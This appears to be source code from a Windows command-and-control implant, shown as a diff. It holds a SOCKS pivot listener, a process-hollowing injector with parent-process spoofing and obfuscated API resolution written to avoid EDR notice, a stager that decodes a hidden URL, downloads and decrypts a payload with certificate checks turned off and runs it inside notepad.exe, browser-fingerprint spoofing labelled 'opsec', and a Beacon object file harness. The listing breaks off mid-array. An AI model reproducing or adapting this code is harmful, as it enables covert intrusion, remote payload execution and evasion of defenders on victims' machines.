||||
ctx->remote = INVALID_SOCKET;
|
||||
|
||||
HANDLE ht = CreateThread(NULL, 0, _client_thread, ctx, 0, NULL);
|
||||
if (!ht) { closesocket(cli); free(ctx); continue; }
|
||||
CloseHandle(ht);
|
||||
}
|
||||
InterlockedExchange(&g_running, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* public API */
|
||||
|
||||
int socks_start(unsigned short port, char *out, size_t outsz)
|
||||
{
|
||||
if (InterlockedCompareExchange(&g_running, 1, 0) != 0) {
|
||||
snprintf(out, outsz, "[socks] already running\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
WSADATA wsa;
|
||||
WSAStartup(MAKEWORD(2,2), &wsa);
|
||||
|
||||
g_listen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (g_listen == INVALID_SOCKET) {
|
||||
InterlockedExchange(&g_running, 0);
|
||||
snprintf(out, outsz, "[socks] socket() failed: %d\n", WSAGetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
int opt = 1;
|
||||
setsockopt(g_listen, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt));
|
||||
|
||||
struct sockaddr_in sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = INADDR_ANY;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(g_listen, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
|
||||
closesocket(g_listen); g_listen = INVALID_SOCKET;
|
||||
InterlockedExchange(&g_running, 0);
|
||||
snprintf(out, outsz, "[socks] bind %u failed: %d\n", port, WSAGetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (listen(g_listen, SOMAXCONN) != 0) {
|
||||
closesocket(g_listen); g_listen = INVALID_SOCKET;
|
||||
InterlockedExchange(&g_running, 0);
|
||||
snprintf(out, outsz, "[socks] listen failed: %d\n", WSAGetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
g_thread = CreateThread(NULL, 0, _listen_thread, NULL, 0, NULL);
|
||||
if (!g_thread) {
|
||||
closesocket(g_listen); g_listen = INVALID_SOCKET;
|
||||
InterlockedExchange(&g_running, 0);
|
||||
snprintf(out, outsz, "[socks] thread failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
snprintf(out, outsz, "[socks] listener up on 0.0.0.0:%u\n", port);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int socks_stop(char *out, size_t outsz)
|
||||
{
|
||||
if (!g_running) {
|
||||
snprintf(out, outsz, "[socks] not running\n");
|
||||
return -1;
|
||||
}
|
||||
InterlockedExchange(&g_running, 0);
|
||||
if (g_listen != INVALID_SOCKET) {
|
||||
closesocket(g_listen);
|
||||
g_listen = INVALID_SOCKET;
|
||||
}
|
||||
if (g_thread) {
|
||||
WaitForSingleObject(g_thread, 3000);
|
||||
CloseHandle(g_thread);
|
||||
g_thread = NULL;
|
||||
}
|
||||
snprintf(out, outsz, "[socks] stopped\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int socks_running(void) { return (int)g_running; }
|
||||
@@ -0,0 +1,313 @@
|
||||
#include <windows.h>
|
||||
#include "peb_walk.h"
|
||||
#include "evs_strings.h"
|
||||
#include <winternl.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <bcrypt.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/* NT function typedefs */
|
||||
typedef NTSTATUS (NTAPI *NtUnmapViewOfSection_t)(HANDLE ProcessHandle,
|
||||
PVOID BaseAddress);
|
||||
|
||||
typedef NTSTATUS (NTAPI *NtCreateSection_t)(
|
||||
PHANDLE SectionHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
PVOID ObjectAttributes,
|
||||
PLARGE_INTEGER MaximumSize,
|
||||
ULONG SectionPageProtection,
|
||||
ULONG AllocationAttributes,
|
||||
HANDLE FileHandle);
|
||||
|
||||
typedef NTSTATUS (NTAPI *NtMapViewOfSection_t)(
|
||||
HANDLE SectionHandle,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T CommitSize,
|
||||
PLARGE_INTEGER SectionOffset,
|
||||
PSIZE_T ViewSize,
|
||||
ULONG InheritDisposition, /* 2 = ViewUnmap */
|
||||
ULONG AllocationType,
|
||||
ULONG Win32Protect);
|
||||
|
||||
typedef NTSTATUS (NTAPI *NtQIP_t)(HANDLE, ULONG, PVOID, ULONG, PULONG);
|
||||
|
||||
#ifndef SEC_COMMIT
|
||||
# define SEC_COMMIT 0x8000000
|
||||
#endif
|
||||
|
||||
static DWORD _find_pid(const wchar_t *name)
|
||||
{
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||
PROCESSENTRY32W pe;
|
||||
pe.dwSize = sizeof(pe);
|
||||
DWORD pid = 0;
|
||||
if (Process32FirstW(snap, &pe)) {
|
||||
do {
|
||||
if (_wcsicmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
|
||||
} while (Process32NextW(snap, &pe));
|
||||
}
|
||||
CloseHandle(snap);
|
||||
return pid;
|
||||
}
|
||||
|
||||
static LPPROC_THREAD_ATTRIBUTE_LIST _make_parent_attr(HANDLE hParent, SIZE_T *out_sz)
|
||||
{
|
||||
SIZE_T sz = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &sz);
|
||||
LPPROC_THREAD_ATTRIBUTE_LIST al = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(sz);
|
||||
if (!al) return NULL;
|
||||
if (!InitializeProcThreadAttributeList(al, 1, 0, &sz)
|
||||
|| !UpdateProcThreadAttribute(al, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
|
||||
&hParent, sizeof(hParent), NULL, NULL)) {
|
||||
free(al); return NULL;
|
||||
}
|
||||
*out_sz = sz;
|
||||
return al;
|
||||
}
|
||||
|
||||
static void *_rva(const void *base, DWORD rva) {
|
||||
return (BYTE *)base + rva;
|
||||
}
|
||||
|
||||
int hollow_inject(const uint8_t *pe_buf, size_t pe_len)
|
||||
{
|
||||
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
|
||||
|
||||
const IMAGE_DOS_HEADER *dos = (const IMAGE_DOS_HEADER *)pe_buf;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
|
||||
|
||||
const IMAGE_NT_HEADERS64 *nt =
|
||||
(const IMAGE_NT_HEADERS64 *)(pe_buf + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
|
||||
if (nt->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) return -1;
|
||||
|
||||
DWORD ep_rva = nt->OptionalHeader.AddressOfEntryPoint;
|
||||
SIZE_T img_size = nt->OptionalHeader.SizeOfImage;
|
||||
LPVOID preferred = (LPVOID)nt->OptionalHeader.ImageBase;
|
||||
|
||||
/* pick target: notepad.exe or dllhost.exe randomly */
|
||||
static const wchar_t *TARGETS[] = {
|
||||
L"%SystemRoot%\\System32\\notepad.exe",
|
||||
L"%SystemRoot%\\System32\\dllhost.exe",
|
||||
};
|
||||
uint8_t pick = 0;
|
||||
BCryptGenRandom(NULL, &pick, 1, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
wchar_t target[MAX_PATH];
|
||||
ExpandEnvironmentStringsW(TARGETS[pick & 1], target, MAX_PATH);
|
||||
|
||||
/* create suspended target with PPID spoofed to explorer.exe */
|
||||
DWORD ppid = _find_pid(L"explorer.exe");
|
||||
HANDLE hParent = ppid
|
||||
? OpenProcess(PROCESS_CREATE_PROCESS, FALSE, ppid)
|
||||
: NULL;
|
||||
|
||||
SIZE_T attr_sz = 0;
|
||||
LPPROC_THREAD_ATTRIBUTE_LIST attr = hParent
|
||||
? _make_parent_attr(hParent, &attr_sz)
|
||||
: NULL;
|
||||
|
||||
STARTUPINFOEXW siex;
|
||||
memset(&siex, 0, sizeof(siex));
|
||||
siex.StartupInfo.cb = sizeof(siex);
|
||||
siex.lpAttributeList = attr;
|
||||
|
||||
DWORD flags = CREATE_SUSPENDED | CREATE_NO_WINDOW;
|
||||
if (attr) flags |= EXTENDED_STARTUPINFO_PRESENT;
|
||||
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
if (!CreateProcessW(NULL, target, NULL, NULL, FALSE,
|
||||
flags, NULL, NULL, (LPSTARTUPINFOW)&siex, &pi)) {
|
||||
if (attr) { DeleteProcThreadAttributeList(attr); free(attr); }
|
||||
if (hParent) CloseHandle(hParent);
|
||||
return -2;
|
||||
}
|
||||
if (attr) { DeleteProcThreadAttributeList(attr); free(attr); }
|
||||
if (hParent) CloseHandle(hParent);
|
||||
|
||||
/* resolve NT functions from ntdll */
|
||||
char _dn[10];
|
||||
EVS_D(_dn, EVS_dll_ntdll);
|
||||
HMODULE ntdll = _peb_module(_dn);
|
||||
SecureZeroMemory(_dn, sizeof(_dn));
|
||||
|
||||
char _fn[26];
|
||||
EVS_D(_fn, EVS_fn_NtUnmapViewOfSection);
|
||||
NtUnmapViewOfSection_t NtUnmap = (NtUnmapViewOfSection_t)GetProcAddress(ntdll, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
|
||||
EVS_D(_fn, EVS_fn_NtCreateSection);
|
||||
NtCreateSection_t NtCSec = (NtCreateSection_t)GetProcAddress(ntdll, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
|
||||
EVS_D(_fn, EVS_fn_NtMapViewOfSection);
|
||||
NtMapViewOfSection_t NtMapVw = (NtMapViewOfSection_t)GetProcAddress(ntdll, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
|
||||
EVS_D(_fn, EVS_fn_NtQueryInformationProcess);
|
||||
NtQIP_t NtQIP = (NtQIP_t)GetProcAddress(ntdll, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
|
||||
if (!NtCSec || !NtMapVw || !NtUnmap) goto kill;
|
||||
|
||||
/* unmap original target image */
|
||||
NtUnmap(pi.hProcess, preferred);
|
||||
|
||||
HANDLE hSection = NULL;
|
||||
LARGE_INTEGER sec_sz;
|
||||
sec_sz.QuadPart = (LONGLONG)img_size;
|
||||
if (NtCSec(&hSection, SECTION_ALL_ACCESS, NULL, &sec_sz,
|
||||
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL) < 0)
|
||||
goto kill;
|
||||
|
||||
/* ---- Map into target process at preferred base ---- */
|
||||
|
||||
LPVOID remote_view = preferred;
|
||||
SIZE_T view_sz = 0;
|
||||
NTSTATUS st = NtMapVw(hSection, pi.hProcess, &remote_view,
|
||||
0, 0, NULL, &view_sz,
|
||||
2 /* ViewUnmap */, 0, PAGE_EXECUTE_READWRITE);
|
||||
if (st < 0) {
|
||||
/* preferred base taken, let kernel pick */
|
||||
remote_view = NULL;
|
||||
view_sz = 0;
|
||||
st = NtMapVw(hSection, pi.hProcess, &remote_view,
|
||||
0, 0, NULL, &view_sz,
|
||||
2, 0, PAGE_EXECUTE_READWRITE);
|
||||
if (st < 0) { CloseHandle(hSection); goto kill; }
|
||||
}
|
||||
|
||||
/* map into current process RW for writing */
|
||||
LPVOID local_view = NULL;
|
||||
view_sz = 0;
|
||||
if (NtMapVw(hSection, GetCurrentProcess(), &local_view,
|
||||
0, 0, NULL, &view_sz,
|
||||
2 /* ViewUnmap */, 0, PAGE_READWRITE) < 0) {
|
||||
NtUnmap(pi.hProcess, remote_view);
|
||||
CloseHandle(hSection);
|
||||
goto kill;
|
||||
}
|
||||
|
||||
/* build PE image in local view */
|
||||
uint8_t *img = (uint8_t *)local_view;
|
||||
|
||||
/* copy headers */
|
||||
memcpy(img, pe_buf, nt->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
/* copy sections */
|
||||
IMAGE_NT_HEADERS64 *lnt = (IMAGE_NT_HEADERS64 *)(img + dos->e_lfanew);
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(lnt);
|
||||
for (WORD i = 0; i < lnt->FileHeader.NumberOfSections; i++, sec++) {
|
||||
if (!sec->SizeOfRawData) continue;
|
||||
SIZE_T copy_sz = sec->SizeOfRawData < sec->Misc.VirtualSize
|
||||
? sec->SizeOfRawData : sec->Misc.VirtualSize;
|
||||
memcpy(img + sec->VirtualAddress,
|
||||
pe_buf + sec->PointerToRawData,
|
||||
copy_sz);
|
||||
}
|
||||
|
||||
/* fix base relocations */
|
||||
INT64 delta = (INT64)remote_view - (INT64)nt->OptionalHeader.ImageBase;
|
||||
if (delta) {
|
||||
IMAGE_DATA_DIRECTORY *rd =
|
||||
&lnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
if (rd->Size) {
|
||||
IMAGE_BASE_RELOCATION *blk =
|
||||
(IMAGE_BASE_RELOCATION *)_rva(img, rd->VirtualAddress);
|
||||
while (blk->VirtualAddress && blk->SizeOfBlock >= sizeof(*blk)) {
|
||||
DWORD cnt = (blk->SizeOfBlock - sizeof(*blk)) / sizeof(WORD);
|
||||
WORD *ent = (WORD *)((BYTE *)blk + sizeof(*blk));
|
||||
for (DWORD j = 0; j < cnt; j++) {
|
||||
if ((ent[j] >> 12) == IMAGE_REL_BASED_DIR64) {
|
||||
INT64 *p = (INT64 *)_rva(img,
|
||||
blk->VirtualAddress + (ent[j] & 0xFFF));
|
||||
*p += delta;
|
||||
}
|
||||
}
|
||||
blk = (IMAGE_BASE_RELOCATION *)((BYTE *)blk + blk->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* resolve imports */
|
||||
IMAGE_DATA_DIRECTORY *id =
|
||||
&lnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if (id->Size) {
|
||||
IMAGE_IMPORT_DESCRIPTOR *imp =
|
||||
(IMAGE_IMPORT_DESCRIPTOR *)_rva(img, id->VirtualAddress);
|
||||
while (imp->Name) {
|
||||
HMODULE hmod = LoadLibraryA((char *)_rva(img, imp->Name));
|
||||
if (!hmod) {
|
||||
NtUnmap(GetCurrentProcess(), local_view);
|
||||
CloseHandle(hSection);
|
||||
goto kill;
|
||||
}
|
||||
IMAGE_THUNK_DATA64 *iat =
|
||||
(IMAGE_THUNK_DATA64 *)_rva(img, imp->FirstThunk);
|
||||
IMAGE_THUNK_DATA64 *orig = imp->OriginalFirstThunk
|
||||
? (IMAGE_THUNK_DATA64 *)_rva(img, imp->OriginalFirstThunk)
|
||||
: iat;
|
||||
while (orig->u1.AddressOfData) {
|
||||
FARPROC fn;
|
||||
if (IMAGE_SNAP_BY_ORDINAL64(orig->u1.Ordinal))
|
||||
fn = GetProcAddress(hmod,
|
||||
(LPCSTR)IMAGE_ORDINAL64(orig->u1.Ordinal));
|
||||
else {
|
||||
IMAGE_IMPORT_BY_NAME *ibn =
|
||||
(IMAGE_IMPORT_BY_NAME *)_rva(img,
|
||||
(DWORD)orig->u1.AddressOfData);
|
||||
fn = GetProcAddress(hmod, ibn->Name);
|
||||
}
|
||||
if (!fn) {
|
||||
NtUnmap(GetCurrentProcess(), local_view);
|
||||
CloseHandle(hSection);
|
||||
goto kill;
|
||||
}
|
||||
iat->u1.Function = (ULONGLONG)fn;
|
||||
iat++; orig++;
|
||||
}
|
||||
imp++;
|
||||
}
|
||||
}
|
||||
|
||||
/* Update ImageBase in in-memory headers */
|
||||
lnt->OptionalHeader.ImageBase = (ULONGLONG)remote_view;
|
||||
|
||||
/* Unmap local alias — shared section keeps data visible in target view */
|
||||
NtUnmap(GetCurrentProcess(), local_view);
|
||||
CloseHandle(hSection);
|
||||
|
||||
/* ---- Update PEB.ImageBaseAddress (single 8-byte write, negligible EDR signal) ---- */
|
||||
if (NtQIP) {
|
||||
PROCESS_BASIC_INFORMATION pbi = {0};
|
||||
NtQIP(pi.hProcess, 0, &pbi, sizeof(pbi), NULL);
|
||||
if (pbi.PebBaseAddress)
|
||||
WriteProcessMemory(pi.hProcess,
|
||||
(BYTE *)pbi.PebBaseAddress + 0x10,
|
||||
&remote_view, sizeof(PVOID), NULL);
|
||||
}
|
||||
|
||||
/* ---- Redirect entry point ---- */
|
||||
CONTEXT ctx;
|
||||
memset(&ctx, 0, sizeof(ctx));
|
||||
ctx.ContextFlags = CONTEXT_FULL;
|
||||
if (!GetThreadContext(pi.hThread, &ctx)) goto kill;
|
||||
ctx.Rip = (DWORD64)remote_view + ep_rva;
|
||||
if (!SetThreadContext(pi.hThread, &ctx)) goto kill;
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
|
||||
kill:
|
||||
TerminateProcess(pi.hProcess, 1);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return -9;
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "crypto.h"
|
||||
#include "stager_config.h"
|
||||
|
||||
/* Defined in hollow.c */
|
||||
extern int hollow_inject(const uint8_t *pe_buf, size_t pe_len);
|
||||
|
||||
/* XOR deobfuscation of config values */
|
||||
static void _cfg_decode(const unsigned char *src, size_t len, char *dst)
|
||||
{
|
||||
for (size_t i = 0; i < len; i++)
|
||||
dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
|
||||
dst[len] = '\0';
|
||||
}
|
||||
|
||||
/* download URL into malloc'd buffer */
|
||||
static uint8_t *_http_get(const char *url, size_t *out_len)
|
||||
{
|
||||
*out_len = 0;
|
||||
|
||||
wchar_t url_w[512] = {0};
|
||||
MultiByteToWideChar(CP_UTF8, 0, url, -1, url_w, 512);
|
||||
|
||||
wchar_t host[256] = {0}, path[512] = {0};
|
||||
URL_COMPONENTS uc = {
|
||||
.dwStructSize = sizeof(uc),
|
||||
.lpszHostName = host, .dwHostNameLength = 256,
|
||||
.lpszUrlPath = path, .dwUrlPathLength = 512,
|
||||
};
|
||||
if (!WinHttpCrackUrl(url_w, 0, 0, &uc)) return NULL;
|
||||
|
||||
BOOL secure = (uc.nScheme == INTERNET_SCHEME_HTTPS);
|
||||
INTERNET_PORT port = uc.nPort ? uc.nPort : (INTERNET_PORT)(secure ? 443 : 80);
|
||||
|
||||
HINTERNET hS = WinHttpOpen(L"Mozilla/5.0",
|
||||
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME,
|
||||
WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
if (!hS) return NULL;
|
||||
|
||||
HINTERNET hC = WinHttpConnect(hS, host, port, 0);
|
||||
if (!hC) { WinHttpCloseHandle(hS); return NULL; }
|
||||
|
||||
HINTERNET hR = WinHttpOpenRequest(hC, L"GET", path,
|
||||
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
|
||||
secure ? WINHTTP_FLAG_SECURE : 0);
|
||||
if (!hR) { WinHttpCloseHandle(hC); WinHttpCloseHandle(hS); return NULL; }
|
||||
|
||||
if (secure) {
|
||||
DWORD opts = SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
WinHttpSetOption(hR, WINHTTP_OPTION_SECURITY_FLAGS, &opts, sizeof(opts));
|
||||
}
|
||||
WinHttpSetTimeouts(hR, 30000, 30000, 30000, 30000);
|
||||
|
||||
if (!WinHttpSendRequest(hR, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
|
||||
!WinHttpReceiveResponse(hR, NULL)) {
|
||||
WinHttpCloseHandle(hR); WinHttpCloseHandle(hC); WinHttpCloseHandle(hS);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint8_t *buf = NULL;
|
||||
size_t len = 0;
|
||||
DWORD avail;
|
||||
while (WinHttpQueryDataAvailable(hR, &avail) && avail > 0) {
|
||||
uint8_t *tmp = realloc(buf, len + avail);
|
||||
if (!tmp) break;
|
||||
buf = tmp;
|
||||
DWORD nread = 0;
|
||||
WinHttpReadData(hR, buf + len, avail, &nread);
|
||||
len += nread;
|
||||
}
|
||||
WinHttpCloseHandle(hR); WinHttpCloseHandle(hC); WinHttpCloseHandle(hS);
|
||||
|
||||
if (buf) *out_len = len;
|
||||
return buf;
|
||||
}
|
||||
|
||||
/* entry point */
|
||||
|
||||
int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int show)
|
||||
{
|
||||
(void)h; (void)hp; (void)cmd; (void)show;
|
||||
|
||||
/* decode staging URL */
|
||||
char url[512] = {0};
|
||||
_cfg_decode(CFG_STAGE_URL, CFG_STAGE_URL_LEN, url);
|
||||
|
||||
/* decode ChaCha20 key */
|
||||
uint8_t key[CHACHA20_KEY_SIZE] = {0};
|
||||
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
|
||||
key[i] = CFG_STAGE_KEY[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN];
|
||||
|
||||
/* download encrypted stage */
|
||||
size_t blob_len = 0;
|
||||
uint8_t *blob = _http_get(url, &blob_len);
|
||||
if (!blob) return 1;
|
||||
|
||||
/* wire format: nonce(12) | ciphertext | tag(16) */
|
||||
if (blob_len < CHACHA20_NONCE_SIZE + POLY1305_TAG_SIZE + 64) {
|
||||
free(blob); return 1;
|
||||
}
|
||||
|
||||
const uint8_t *nonce = blob;
|
||||
size_t ct_len = blob_len - CHACHA20_NONCE_SIZE - POLY1305_TAG_SIZE;
|
||||
const uint8_t *ct = blob + CHACHA20_NONCE_SIZE;
|
||||
const uint8_t *tag = blob + CHACHA20_NONCE_SIZE + ct_len;
|
||||
|
||||
uint8_t *pe = (uint8_t *)malloc(ct_len);
|
||||
if (!pe) { free(blob); return 1; }
|
||||
|
||||
int rc = chacha20_poly1305_decrypt(key, nonce, ct, ct_len, tag, pe);
|
||||
SecureZeroMemory(key, sizeof(key));
|
||||
SecureZeroMemory(blob, blob_len);
|
||||
free(blob);
|
||||
|
||||
if (rc != 0) { free(pe); return 1; }
|
||||
|
||||
/* Inject into suspended notepad.exe */
|
||||
rc = hollow_inject(pe, ct_len);
|
||||
SecureZeroMemory(pe, ct_len);
|
||||
free(pe);
|
||||
return (rc == 0) ? 0 : 1;
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
#include "util.h"
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifndef HTTP_ONLY
|
||||
#include <curl/curl.h>
|
||||
#ifndef CURLSSLOPT_NATIVE_CA
|
||||
#define CURLSSLOPT_NATIVE_CA (1<<4)
|
||||
#endif
|
||||
#endif /* HTTP_ONLY */
|
||||
|
||||
/* ---- User-Agent rotation ---- */
|
||||
|
||||
static const char *k_ua[] = {
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
|
||||
};
|
||||
|
||||
#define UA_COUNT (sizeof(k_ua) / sizeof(k_ua[0]))
|
||||
|
||||
const char *random_ua(void)
|
||||
{
|
||||
return k_ua[rand() % UA_COUNT];
|
||||
}
|
||||
|
||||
#ifndef HTTP_ONLY
|
||||
/* ---- JA3 hardening ---- */
|
||||
|
||||
void curl_apply_opsec(CURL *curl)
|
||||
{
|
||||
/* TLS 1.3 ciphers — Chrome order */
|
||||
curl_easy_setopt(curl, CURLOPT_TLS13_CIPHERS,
|
||||
"TLS_AES_128_GCM_SHA256:"
|
||||
"TLS_AES_256_GCM_SHA384:"
|
||||
"TLS_CHACHA20_POLY1305_SHA256");
|
||||
|
||||
/* TLS 1.2 ciphers — Chrome order */
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_CIPHER_LIST,
|
||||
"ECDHE-ECDSA-AES128-GCM-SHA256:"
|
||||
"ECDHE-RSA-AES128-GCM-SHA256:"
|
||||
"ECDHE-ECDSA-AES256-GCM-SHA384:"
|
||||
"ECDHE-RSA-AES256-GCM-SHA384:"
|
||||
"ECDHE-ECDSA-CHACHA20-POLY1305:"
|
||||
"ECDHE-RSA-CHACHA20-POLY1305:"
|
||||
"ECDHE-RSA-AES128-SHA:"
|
||||
"ECDHE-RSA-AES256-SHA:"
|
||||
"AES128-GCM-SHA256:"
|
||||
"AES256-GCM-SHA384:"
|
||||
"AES128-SHA:"
|
||||
"AES256-SHA");
|
||||
|
||||
/* Windows native cert store — no curl-ca-bundle.crt on disk */
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L);
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_OPTIONS, (long)CURLSSLOPT_NATIVE_CA);
|
||||
}
|
||||
#endif /* HTTP_ONLY */
|
||||
@@ -0,0 +1,23 @@
|
||||
// test BOF: DLL$Function convention + BeaconPrintf
|
||||
// compile: gcc -c bof_hello.c -o bof_hello.o
|
||||
#include <windows.h>
|
||||
|
||||
void BeaconPrintf(int type, const char *fmt, ...);
|
||||
|
||||
// DLL$Function — loader strips prefix and resolves from named dll
|
||||
BOOL ADVAPI32$GetUserNameA(LPSTR buf, LPDWORD sz);
|
||||
DWORD KERNEL32$GetCurrentProcessId(void);
|
||||
|
||||
void go(char *args, int len)
|
||||
{
|
||||
(void)args; (void)len;
|
||||
|
||||
char user[256] = {0};
|
||||
DWORD usersz = (DWORD)sizeof(user);
|
||||
ADVAPI32$GetUserNameA(user, &usersz);
|
||||
|
||||
DWORD pid = KERNEL32$GetCurrentProcessId();
|
||||
|
||||
BeaconPrintf(0, "[BOF] Hello from KHAOS BOF loader!\n");
|
||||
BeaconPrintf(0, "[BOF] User: %s | PID: %lu\n", user, (unsigned long)pid);
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
// standalone harness: loads a COFF .o, b64-encodes it, runs cmd_bof()
|
||||
// build: gcc -O0 -Iinclude tests/test_bof.c bof.o -o test_bof.exe -lkernel32 -ladvapi32
|
||||
// run: test_bof.exe tests/bof_hello.o
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <windows.h>
|
||||
#include "bof.h"
|
||||
#include "adv_lazy.h"
|
||||
|
||||
// stub for _bp_is_admin shim in bof.o
|
||||
const adv_api_t *adv_get(void)
|
||||
{
|
||||
static adv_api_t a;
|
||||
static int init = 0;
|
||||
if (!init) {
|
||||
HMODULE adv = LoadLibraryA("advapi32.dll");
|
||||
if (adv) {
|
||||
a.OpenProcessToken = (void *)GetProcAddress(adv, "OpenProcessToken");
|
||||
a.AdjustTokenPrivileges = (void *)GetProcAddress(adv, "AdjustTokenPrivileges");
|
||||
a.DuplicateTokenEx = (void *)GetProcAddress(adv, "DuplicateTokenEx");
|
||||
a.ImpersonateLoggedOnUser = (void *)GetProcAddress(adv, "ImpersonateLoggedOnUser");
|
||||
a.LogonUserA = (void *)GetProcAddress(adv, "LogonUserA");
|
||||
a.LookupPrivilegeNameA = (void *)GetProcAddress(adv, "LookupPrivilegeNameA");
|
||||
a.LookupPrivilegeValueA = (void *)GetProcAddress(adv, "LookupPrivilegeValueA");
|
||||
a.OpenThreadToken = (void *)GetProcAddress(adv, "OpenThreadToken");
|
||||
a.RevertToSelf = (void *)GetProcAddress(adv, "RevertToSelf");
|
||||
a.CloseServiceHandle = (void *)GetProcAddress(adv, "CloseServiceHandle");
|
||||
a.EnumServicesStatusExA = (void *)GetProcAddress(adv, "EnumServicesStatusExA");
|
||||
a.OpenSCManagerA = (void *)GetProcAddress(adv, "OpenSCManagerA");
|
||||
a.OpenServiceA = (void *)GetProcAddress(adv, "OpenServiceA");
|
||||
a.QueryServiceConfigA = (void *)GetProcAddress(adv, "QueryServiceConfigA");
|
||||
}
|
||||
init = 1;
|
||||
}
|
||||
return &a;
|
||||
}
|
||||
|
||||
// required by bof.o — must match signature in crypto.h
|
||||
static const int DEC[256] = {
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
